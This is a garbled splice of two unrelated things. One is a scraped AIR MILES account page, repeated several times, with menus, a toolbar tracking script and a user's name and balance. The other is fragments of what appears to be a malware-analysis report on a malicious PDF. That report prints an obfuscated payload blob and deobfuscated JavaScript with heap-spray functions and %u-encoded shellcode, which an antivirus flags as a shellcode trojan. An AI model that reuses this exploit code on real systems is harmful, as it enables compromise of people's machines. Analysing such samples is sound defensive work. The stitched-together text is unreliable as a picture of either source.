<SCRIPT src="/arrow/webresource/js/toolbar.js"></SCRIPT>


<SCRIPT type="text/javascript">
	var toolbarId = 56939;
	
	
	function initToolbar() {

		
		
		
		
		
		
			var username = 'vz8JHGGIzDNCRcIfVEHjaA==';
			var img = '<img src="' + 'https://www.freecause.com/images/white1_1.png' + '?user=' + username + '&toolid=api" border="0"/>';
			




if (toolbar) {
		toolbar.authenticate(username, '1', '1');
		setSearchCounterApi(img);	
}

	
	
		
		
					

	}
	
	function loginToolbar() {
               
    
		var username = 'vz8JHGGIzDNCRcIfVEHjaA==';
		var img = '<img src="' + 'https://www.freecause.com/images/white1_1.png' + '?user=' + username + '&toolid=api" border="0"/>';
				





if (toolbar) {
		toolbar.authenticate(username, '1', '1');
		setSearchCounterApi(img);	
}

	
      
	                       
	
		

	}	

	function logoffToolbar() {
		toolbar.authenticate('','','');
		var img = '<img src="' + 'https://www.freecause.com/images/white1_1.png' + '?user=loggedout&toolid=api" border="0"/>';
		setSearchCounterApi(img);
	}	
</SCRIPT>

	

</head>

<body>

<script type="text/javascript">
	appendOnLoad(initToolbar);
	document.write("<div id='flashLayer' style='position:absolute;top:0;left:0;width:100%;z-index:1'>"); 
	insertResizer()	
	document.write("</div>");

</script>
<div id="htmlLayer" style="width:100%;position:absolute;top:0;left:0;z-index:2">

	<div id="getFlash">
		<div class="getFlashContent"><img src="/arrow/webresource/images/icons/getflash.jpg">
			
			To see everything that airmiles.ca has to offer, you will need the latest Adobe Flash Player. <a href="http://www.adobe.com/go/getflashplayer">Click here</a> to get Flash. 
		</div>
	</div>

	







  
  




	
	<div id="Page">
		<div id="main-container">
			<div id="frame-header" class="en">
  		  















<div class="card"><a href='/arrow/Home'><img src='/arrow/webresource/images/facelift2/header/headerCard.jpg' border='0' /></a></div>

	<div class="header_toolbar">
  		














    		<!-- SUBMENU -->	
			
	
	
				
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li id="account_drop_down_holder" class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/subAccount_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="AccountHome" id="account_drop_down_link">Account
									 <img src="/arrow/webresource/images/menus/submenuArrowDown.gif" class="down_arrow" />
									 </a>
										</span>
									</li>
									<div id="account_drop_down" class="drop_down_panel">
										<ul>
											
												
												
												
												
												
													
													
													
													
													<li>
													<a href="AccountHistory">
													Your Transactions
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="ChangeAddress">
													Change Address
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="ChangePin">
													Change Pin
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="OrderCards">
													Order Cards
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="/arrow/login/EnrollmentStart">
													Enroll
													</a></li>
													
													
													
													
												
												
											</ul>
											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_tr.gif" class="corner tr" alt="" />											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_bl.gif" class="corner bl" alt="" />
											<img src="/arrow/webresource/images/facelift2/background/corner_account_br.gif" class="corner br" alt="" />
									</div>
									<script language="javascript" type="text/javascript">
									var accountDrop = new DropNav('account_drop_down_link','account_drop_down','account_drop_down_holder');
									</script>                
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/subCart_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="ShoppingCart">Cart </a>
									</span>
									</li>
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/blank_sub_menu_header_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="FAQSearch">Help </a>
									</span>
									</li>
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li id="tools_drop_down_holder" class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/blank_sub_menu_header_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="javascript:void(0);" id="tools_drop_down_link" style="cursor: default;">Tools
									 <img src="/arrow/webresource/images/menus/submenuArrowDown.gif" class="down_arrow" />
									 </a>
										</span>
									</li>
									<div id="tools_drop_down" class="drop_down_panel">
										<ul>
											
												
												
												
												
												
													
													
													
													
													<li>
													<a href="FlightHome?selectedCategoryId=cat700050">
													Flight Calculator
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="WishList">
													Wish List
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="Toolbar">
													AIR MILES<sup>�</sup> Toolbar
													</a></li>
													
													
													
													
												
												
											</ul>
											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_tr.gif" class="corner tr" alt="" />											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_bl.gif" class="corner bl" alt="" />
											<img src="/arrow/webresource/images/facelift2/background/corner_account_br.gif" class="corner br" alt="" />
									</div>
									<script language="javascript" type="text/javascript">
									var accountDrop = new DropNav('tools_drop_down_link','tools_drop_down','tools_drop_down_holder');
									</script>                
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/blank_sub_menu_header_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="javascript:changeLocale('fr_FR')">Fran�ais </a>
									</span>
									</li>
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
	












	
	
		<div class="toolbar_section">
			<ul>
				<li class="last">
					<span>					
						<a href="login/SignOut" onclick="document.form_sign_out.submit();return false;">Sign Out</a>
						<form action="/arrow/Home?_DARGS=/arrow/base/facelift2/headerSignOut.jsp" onsubmit="return disableForm();" name="form_sign_out" method="post" id="form_sign_out"><input value="ISO-8859-1" type="hidden" name="_dyncharset"></input><input value="2460425782592766419" type="hidden" name="_dynSessConf"></input>
							<input value="/arrow/login/SignOut" type="hidden" name="/atg/userprofiling/ProfileFormHandler.logoutSuccessURL"><input value=" " type="hidden" name="_D:/atg/userprofiling/ProfileFormHandler.logoutSuccessURL">
							<input value="/arrow/login/SignIn" type="hidden" name="/atg/userprofiling/ProfileFormHandler.logoutErrorURL"><input value=" " type="hidden" name="_D:/atg/userprofiling/ProfileFormHandler.logoutErrorURL">						
							<input value="Submit" type="hidden" name="/atg/userprofiling/ProfileFormHandler.logout"><input value=" " type="hidden" name="_D:/atg/userprofiling/ProfileFormHandler.logout">

			      			<input type="text" name="invisibleField" style="display:none;" />						
						<input value="/arrow/base/facelift2/headerSignOut.jsp" type="hidden" name="_DARGS"></input></form>					
					</span>
				</li>				
			</ul>
		</div>
	
	





	
		
			





	</div>
	
	<div class="current_balance">
    		











	














	MIKE
		<div class="balance">
			<span class="amount">377</span>
			<span class="reward_miles">AIR MILES<sup>�</sup> reward miles</span>
		</div>
…
embedded_pdf_script_000020a6.bin pdf-embedded-script PDF raw stream script payload at offset 0x20A6 181269 bytes
SHA-256: b388a25dfed05daf230c258c259a95d84925c69844f23d57b4b548a014ef0464
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
q25q30q41q25q36q36q25q37q35q25q36q45q25q36q33q25q37q34q25q36q39q25q36q46q25q36q45q25q32q30q25q36q36q25q36q39q25q37q38q25q35q46q25q36q39q25q37q34q25q32q38q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q39q25q32q30q25q37q42q25q30q41q25q37q37q25q36q38q25q36q39q25q36q43q25q36q35q25q32q30q25q32q38q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q45q25q36q43q25q36q35q25q36q45q25q36q37q25q37q34q25q36q38q25q32q30q25q32q41q25q32q30q25q33q32q25q32q30q25q33q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q39q25q32q30q25q37q42q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q30q25q32q42q25q33q44q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q33q42q25q37q44q25q30q41q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q30q25q33q44q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q45q25q37q33q25q37q35q25q36q32q25q37q33q25q37q34q25q37q32q25q36q39q25q36q45q25q36q37q25q32q38q25q33q30q25q32q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q30q25q32q46q25q32q30q25q33q32q25q32q39q25q33q42q25q37q32q25q36q35q25q37q34q25q37q35q25q37q32q25q36q45q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q33q42q25q37q44q25q30q41q25q36q36q25q37q35q25q36q45q25q36q33q25q37q34q25q36q39q25q36q46q25q36q45q25q32q30q25q37q35q25q37q34q25q36q39q25q36q43q25q35q46q25q37q30q25q37q32q25q36q39q25q36q45q25q37q34q25q36q36q25q32q38q25q32q39q25q32q30q25q37q42q25q30q41q25q37q36q25q36q31q25q37q32q25q32q30q25q37q30q25q36q31q25q37q39q25q36q43q25q36q46q25q36q31q25q36q34q25q32q30q25q33q44q25q32q30q25q37q35q25q36q45q25q36q35q25q37q33q25q36q33q25q36q31q25q37q30q25q36q35q25q32q38q25q32q32q25q32q35q25q37q35q25q34q35q25q33q38q25q33q39q25q33q30q25q32q35q25q37q35q25q33q30q25q33q33q25q33q34q25q34q34q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q32q25q33q30q25q32q35q25q37q35q25q33q36q25q34q31q25q33q30q25q33q30q25q32q35q25q37q35q25q34q36q25q34q36q25q33q30q25q33q30q25q32q35q25q37q35q25q34q32q25q33q39q25q34q34q25q33q30q25q32q35q25q37q35q25q33q30q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q36q25q33q38q25q33q38q25q34q32q25q32q35q25q37q35q25q33q30q25q33q35q25q34q35q25q34q32q25q32q35q25q37q35q25q34q36q25q33q33q25q33q35q25q34q35q25q32q35q25q37q35q25q34q36q25q34q36q25q34q31q25q33q34q25q32q35q25q37q35q25q34q35q25q33q38q25q34q34q25q33q30q25q32q35q25q37q35q25q34q36q25q34q36q25q34q36q25q33q36q25q32q35q25q37q35q25q34q36q25q34q36q25q34q36q25q34q36q25q32q35q25q37q35q25q33q35q25q33q34q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q33q25q32q35q25q37q35q25q33q38q25q34q32q25q33q30q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q34q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q33q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q36q25q33q34q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q31q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q34q25q33q36q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q36q25q33q32q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q33q25q32q35q25q37q35q25q33q38q25q34q32q25q33q30q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q34q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q32q25q33q32q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q35q25q34q32q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q31q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q33q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q31q25q33q30q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q33q25q32q35q25q37q35q25q33q38q25q34q32q25q33q30q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q34q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q34q33q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q37q25q33q38q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q31q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q31q25q34q31q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q35q25q33q38q25q34q35q25q34q32q25q32q35q25q37q35q25q33q38q25q34q32q25q33q35q25q33q33q25q32q35q25q37q35q25q33q35q25q33q33q25q34q34q25q34q33q25q32q35q25q37q35q25q33q34q25q33q30q25q33q36q25q34q31q25q32q35q25q37q35q25q33q30q25q33q30q25q33q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q31q25q33q30q25q32q35q25q37q35q25q33q35q25q33q37q25q33q30q25q33q30q25q32q35q25q37q35q25q34q33q25q33q38q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q32q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q34q36q25q34q31q25q32q35q25q37q
















<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/tr/xhtml1/DTD/xhtml1-transitional.dtd">


	
	


<html>




<head>
	<script>
		
			
			var omnitureServer = 'amrpairmilesca';
		
		
		var oasSegments = 'EVERYONE,07608_Amex,07391_07399_Metro,07578_CellQSU,AMX8101Cel2_Ad,8713_Iris,BMO7430NBMC_975,8185Cel1,AMX8062Cel2_3Rail,08810_Shell_W1_E,BMO7430MCRE,07776-09_Shell_VPow_E,08550_IRIS_Spot,AMX8097Cel1_Spotlight,8035_BMO_Ad_RNBE,BMO7790SHELL,CS_8884_150A,8399_BMO_2100_2,BMO7333_CM,BMO7333_AG,8635_NonEligible,07417_BMOSHELL,AMX8064Cel1_Spotlight,07584_Rexall,AMX8059Cel1,7920Universe,7317_RONA,7388_Brick,AMX8068Cel1_Ad,UVL8078AdU1,AMEX7737INE,8531_SHELL_E,CSPR8533Web,AMX8185Cel1_Ad,8399_BMO_2100_May,8139_CSPR_150,AMX8060Cel1,7326_Mobile,2010_4_BMO_KA_081,7283_AMEX_Non,AMX8094Cel1_Thumb';
	</script>

	<meta http-equiv="cache-control" content="no-cache"/>
	<meta http-equiv="expires" content="0"/>
	<meta name="build" content="op2-1.0.0.9-39"/>
	<title>AIR MILES - Home</title>
	<meta name="keywords" content="" />
	<meta name='description' content='' />
	<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
	<meta http-equiv="content-language"	content="en-us" />
	<meta http-equiv="imagetoolbar"	content="no" />
	<meta http-equiv="window-target" content="main" />
	<meta http-equiv="content-style-type" content="text/css" />
	<meta http-equiv="content-script-type" content="text/javascript" />

	<script language='javaScript1.3' type='text/javascript' src='/arrow/webresource/js/mootools_1_11.js'></script>

	<link rel="shortcut icon" href="/arrow/webresource/images/favicon.ico" type="image/x-icon" />
  
  
  	      
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/page.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/page-content.css'/>
  	
  

  
  
  	      
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/frameFacelif2.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/frame-general.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/footer-upper.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/lower-footer.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/submenu.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/frame-structure.css'/>
  	
  

  
  	
  
  
  	 
  	
  
  	 
  	
  		
  			
  				<link rel="stylesheet" href='/arrow/webresource/css/color-schema-login.css'/>
  			
  		
  	
  
  	 
  	
  		
  			
  		
  	
  

  
  
  	      
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/home2.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/third_rail.css'/>
  	
  
  
  <link rel="stylesheet" media="print" href='/arrow/webresource/css/print.css'/>
  
  
  
  	      
  	
  
  	      
  	
  	<script type='text/vbscript' src='/arrow/webresource/js/flash.vbs'></script>
  	
  
  
	  
	
	
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/javascript.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/s_code.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/flash.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/misc.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/mootools_1_11.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/swfobject.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/rewards/rewards.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/header_functions.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/hover_button.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/AC_OETags.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/imageResizerSupport.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/oas/getCollNameAndBalance.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/foresee/foresee-trigger.js'></script>
			
		
	

	<script type="text/javascript">
		swfobject.embedSWF("/arrow/webresource/flash/test.swf", "getFlash", "0", "0", "9.0.124");
	</script>







<SCRIPT src="/arrow/webresource/js/toolbar.js"></SCRIPT>


<SCRIPT type="text/javascript">
	var toolbarId = 56939;
	
	
	function initToolbar() {

		
		
		
		
		
		
			var username = 'vz8JHGGIzDNCRcIfVEHjaA==';
			var img = '<img src="' + 'https://www.freecause.com/images/white1_1.png' + '?user=' + username + '&toolid=api" border="0"/>';
			




if (toolbar) {
		toolbar.authenticate(username, '1', '1');
		setSearchCounterApi(img);	
}

	
	
		
		
					

	}
	
	function loginToolbar() {
               
    
		var username = 'vz8JHGGIzDNCRcIfVEHjaA==';
		var img = '<img src="' + 'https://www.freecause.com/images/white1_1.png' + '?user=' + username + '&toolid=api" border="0"/>';
				





if (toolbar) {
		toolbar.authenticate(username, '1', '1');
		setSearchCounterApi(img);	
}

	
      
	                       
	
		

	}	

	function logoffToolbar() {
		toolbar.authenticate('','','');
		var img = '<img src="' + 'https://www.freecause.com/images/white1_1.png' + '?user=loggedout&toolid=api" border="0"/>';
		setSearchCounterApi(img);
	}	
</SCRIPT>

	

</head>

<body>

<script type="text/javascript">
	appendOnLoad(initToolbar);
	document.write("<div id='flashLayer' style='position:absolute;top:0;left:0;width:100%;z-index:1'>"); 
	insertResizer()	
	document.write("</div>");

</script>
<div id="htmlLayer" style="width:100%;position:absolute;top:0;left:0;z-index:2">

	<div id="getFlash">
		<div class="getFlashContent"><img src="/arrow/webresource/images/icons/getflash.jpg">
			
			To see everything that airmiles.ca has to offer, you will need the latest Adobe Flash Player. <a href="http://www.adobe.com/go/getflashplayer">Click here</a> to get Flash. 
		</div>
	</div>

	







  
  




	
	<div id="Page">
		<div id="main-container">
			<div id="frame-header" class="en">
  		  















<div class="card"><a href='/arrow/Home'><img src='/arrow/webresource/images/facelift2/header/headerCard.jpg' border='0' /></a></div>

	<div class="header_toolbar">
  		














    		<!-- SUBMENU -->	
			
	
	
				
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li id="account_drop_down_holder" class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/subAccount_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="AccountHome" id="account_drop_down_link">Account
									 <img src="/arrow/webresource/images/menus/submenuArrowDown.gif" class="down_arrow" />
									 </a>
										</span>
									</li>
									<div id="account_drop_down" class="drop_down_panel">
										<ul>
											
												
												
												
												
												
													
													
													
													
													<li>
													<a href="AccountHistory">
													Your Transactions
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="ChangeAddress">
													Change Address
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="ChangePin">
													Change Pin
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="OrderCards">
													Order Cards
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="/arrow/login/EnrollmentStart">
													Enroll
													</a></li>
													
													
													
													
												
												
											</ul>
											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_tr.gif" class="corner tr" alt="" />											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_bl.gif" class="corner bl" alt="" />
											<img src="/arrow/webresource/images/facelift2/background/corner_account_br.gif" class="corner br" alt="" />
									</div>
									<script language="javascript" type="text/javascript">
									var accountDrop = new DropNav('account_drop_down_link','account_drop_down','account_drop_down_holder');
									</script>                
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/subCart_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="ShoppingCart">Cart </a>
									</span>
									</li>
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/blank_sub_menu_header_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="FAQSearch">Help </a>
									</span>
									</li>
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li id="tools_drop_down_holder" class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/blank_sub_menu_header_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="javascript:void(0);" id="tools_drop_down_link" style="cursor: default;">Tools
									 <img src="/arrow/webresource/images/menus/submenuArrowDown.gif" class="down_arrow" />
									 </a>
										</span>
									</li>
									<div id="tools_drop_down" class="drop_down_panel">
										<ul>
											
												
												
												
												
												
													
													
													
													
													<li>
													<a href="FlightHome?selectedCategoryId=cat700050">
													Flight Calculator
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="WishList">
													Wish List
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="Toolbar">
													AIR MILES<sup>�</sup> Toolbar
													</a></li>
													
													
													
													
												
												
											</ul>
											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_tr.gif" class="corner tr" alt="" />											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_bl.gif" class="corner bl" alt="" />
											<img src="/arrow/webresource/images/facelift2/background/corner_account_br.gif" class="corner br" alt="" />
									</div>
									<script language="javascript" type="text/javascript">
									var accountDrop = new DropNav('tools_drop_down_link','tools_drop_down','tools_drop_down_holder');
									</script>                
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/blank_sub_menu_header_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="javascript:changeLocale('fr_FR')">Fran�ais </a>
									</span>
									</li>
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
	












	
	
		<div class="toolbar_section">
			<ul>
				<li class="last">
					<span>					
						<a href="login/SignOut" onclick="document.form_sign_out.submit();return false;">Sign Out</a>
						<form action="/arrow/Home?_DARGS=/arrow/base/facelift2/headerSignOut.jsp" onsubmit="return disableForm();" name="form_sign_out" method="post" id="form_sign_out"><input value="ISO-8859-1" type="hidden" name="_dyncharset"></input><input value="2460425782592766419" type="hidden" name="_dynSessConf"></input>
							<input value="/arrow/login/SignOut" type="hidden" name="/atg/userprofiling/ProfileFormHandler.logoutSuccessURL"><input value=" " type="hidden" name="_D:/atg/userprofiling/ProfileFormHandler.logoutSuccessURL">
							<input value="/arrow/login/SignIn" type="hidden" name="/atg/userprofiling/ProfileFormHandler.logoutErrorURL"><input value=" " type="hidden" name="_D:/atg/userprofiling/ProfileFormHandler.logoutErrorURL">						
							<input value="Submit" type="hidden" name="/atg/userprofiling/ProfileFormHandler.logout"><input value=" " type="hidden" name="_D:/atg/userprofiling/ProfileFormHandler.logout">

			      			<input type="text" name="invisibleField" style="display:none;" />						
						<input value="/arrow/base/facelift2/headerSignOut.jsp" type="hidden" name="_DARGS"></input></form>					
					</span>
				</li>				
			</ul>
		</div>
	
	





	
		
			





	</div>
	
	<div class="current_balance">
    		











	














	MIKE
		<div class="balance">
			<span class="amount">377</span>
			<span class="reward_miles">AIR MILES<sup>�</sup> reward miles</span>
		</div>





	





   
	</div>
	
	















<script language="javascript">
		function checkInput(sValue,form) {
			if(sValue == null || sValue.length == 0 || sValue == 'null') {
				location.href = '../arrow/SiteSearch?init=on';
				return false;
			} else { 
				return true;
			}
		}
</script>

  <div id="header-search">
		
			
			
			
			
		 
			
			
…
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0xC9A 549 bytes
SHA-256: fba885ad6b7dd6eec7906518303d1e4dd7b0e4032c6a7cd96ea9addd95c79da2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp, len) {
while (yarsp.length * 2 < len) {yarsp += yarsp;}
yarsp = yarsp.substring(0, len / 2);return yarsp;}
function util_printf() {
var payload = unescape("%uE890%u034D%u0000%u0068%u0020%u6A00%uFF00%uB9D0%u0800%u0000%uF88B%u05EB%uF35E%uFFA4%uE8D0%uFFF6%uFFFF%u54E8%u0003%u8B00%uE8F8%u0038%u0000%u64E8%u0001%uE800%u0046%u0000%uF2E8%u0003%u8B00%uE8F8%u0022%u0000%u5BE8%u0001%uE800%u0030%u0000%uA0E8%u0003%u8B00%uE8F8%u000C%u0000%u78E8%u0001%uE800%u001A%u0000%u58EB%u8B53%u53DC%u406A%u0068%u0010%u5700%uC8E8%u0002%uE800%u00FA%%7
legacy_pdfkit_stage_001.js deobfuscated-js double percent-decoded annotation JavaScript at offset 0xC9A 137039 bytes
SHA-256: 4344a092251aa6f08e556862721780bee68cffee3f34ba80a30c3c5b8994dddd
Detection
ClamAV: Html.Trojan.Shellcode-19
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp, len) {
while (yarsp.length * 2 < len) {yarsp += yarsp;}
